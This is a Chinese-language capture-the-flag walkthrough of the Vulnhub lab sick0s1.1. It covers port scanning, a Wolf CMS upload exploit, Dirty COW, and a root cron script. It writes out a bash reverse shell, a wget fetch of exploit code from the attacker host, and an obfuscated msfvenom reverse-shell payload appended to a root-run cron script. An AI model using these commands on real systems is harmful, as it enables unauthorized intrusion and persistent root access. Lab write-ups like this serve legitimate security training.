Vulnhub sick0s1.1
0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24
全端口扫描
nmap --min-rate 10000 -p- 192.168.231.141
22ssh,3128squid-http,但8080http是关闭的
Squid 是一个高性能的开源代理服务器软件,它支持多种协议,包括 HTTP、HTTPS、FTP 等。它通常用于以下几种用途:
1、Web代理:作为 HTTP 或 HTTPS 代理服务器,Squid 可以帮助在客户端和目标服务器之间中转网络流量,提供匿名访问、访问控制和缓存加速等功能。
2、缓存加速:Squid 可以缓存访问过的网页和内容,减少网络带宽的消耗,提高访问速度。它可以存储网页、图像、视频等文件的副本,在用户请求时直接返回缓存中的内容,从而加速访问。
3、访问控制:Squid 允许管理员根据 IP 地址、URL、时间等进行精细化的访问控制。可以限制某些网站的访问,或者设置过滤规则。
4、日志记录和监控:Squid 提供了详细的访问日志,管理员可以通过这些日志监控网络流量、查看哪些网站被访问、访问的频率等信息。
UDP扫描
nmap -sU --min-rate 10000 -p- 192.168.231.141
无UDP端口开放
详细端口扫描
nmap -sT -sC -sV -O --min-rate 10000 -p22,3128,8080 192.168.231.141
漏洞扫描
nmap --script=vuln -p22,3128,8080 192.168.231.141
0x02:web渗透
因为它起了一个squid-http服务,所以我们需要开个代理
先扫目录
dirsearch -u http://192.168.231.141 --proxy http://192.168.231.141:3128
扫描到两个关键目录
先看robot.txt
目录里的内容
得到一个目录/wolfcms
的cms目录
再看看/connect
目录,下载下来一个connect.py
的文件
我们查看一下
我们再查看/wolfcms
我们扫描目录
在/wolfcms/docs/updating.txt
的目录文件里找到这个cms
的版本:0.8.2
查找漏洞
看到38000.txt
发现URL地址,我们首先需要登录
弱口令admin : admin
登录进去后按照URL上传测试文件
上传成功后就去上面指定的URL
测试成功,现在上传木马
antsword配代理后连接
反弹shell
/bin/bash -c 'bash -i >& /dev/tcp/192.168.231.138/4444 0>&1'
0x03:权限提升
先提tty
python -c 'import pty; pty.spawn("/bin/bash");'
看看自动表
cat /etc/crontab
没有,我们再查看S位
find / -type f -perm -04000 -ls 2>/dev/null
有sudoedit
,查看是否存在漏洞
sudoedit -s /
并不是以sudoedit
开头,不存在漏洞
查看可写文件
find / -type f -writable ! -path '/proc/*' 2>/dev/null
没有什么可疑文件
上传linpeas查看
两个highly probable
,都是脏牛,而且这台靶机有gcc
,我们直接启动
wget 192.168.231.138:6666/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod 777 dirty
./dirty 123
但是靶机直接死机了,换一种方法试试
看看上级目录有什么文件
我们查看一下配置文件
cat config.php
找到一个凭证,是数据库的,但是没有关系,我们可以试试横向移动
看一下有哪些用户
cat /etc/passwd
ssh只开放了这一个用户,我们尝试一下
ssh sickos@192.168.231.141
成功登录!查看权限
直接提权!
0x04:反思总结
1.利用公开cms漏洞可以直接拿到立足点
2.其实我现在查找cron任务的操作一直不正确
单纯的搜索cat /etc/crontab
是不一定找得全的,我们得看全一点,我们可以使用以下命令检查所有 cron 目录中的自定义作业
ls -l /etc/cron*
在这里我们发现了automate
可疑表,我们查看
会执行这个文件,我们稍作修改
- 让脚本将我们的 SSH 密钥添加到 root 的授权密钥列表中
- 让脚本在我们的机器上生成一个反向 shell
- 让脚本将 root 的密码更改为我们选择的密码
- 让脚本将 /root 目录的权限更改为 777
- 等等。。。
我们这里因为是反弹shell进来的,没有密码,我们最好使用python再反弹shell
我们用msfvenom
生成一个
msfvenom -p cmd/unix/reverse_python LHOST=192.168.231.138 LPORT=5555 -f raw
把它添加进connect.py
里
echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkNELgjAQxv8V8WmDOJtSGLEHCYOICtJ3ybVQMjc8/f+bbBF78+A4vrvfvg/WfrQaxgCVeMsx+NXKNE61HpSQiN5aGbk3s1E48pDtYmDbFOKEAUvS0N5mS74xZSVyaw92EKeyY3W65qUfak/F7XCuivKeZxfqPECovpdiJGRO9h7NcdRxCuE56ZggvNpO9opQD10vw9gyLHaY5v/PAvHoOhJGddtH2IT0C3nfWxM=')[0])))" >> /var/www/connect.py
等它1分钟后成功提权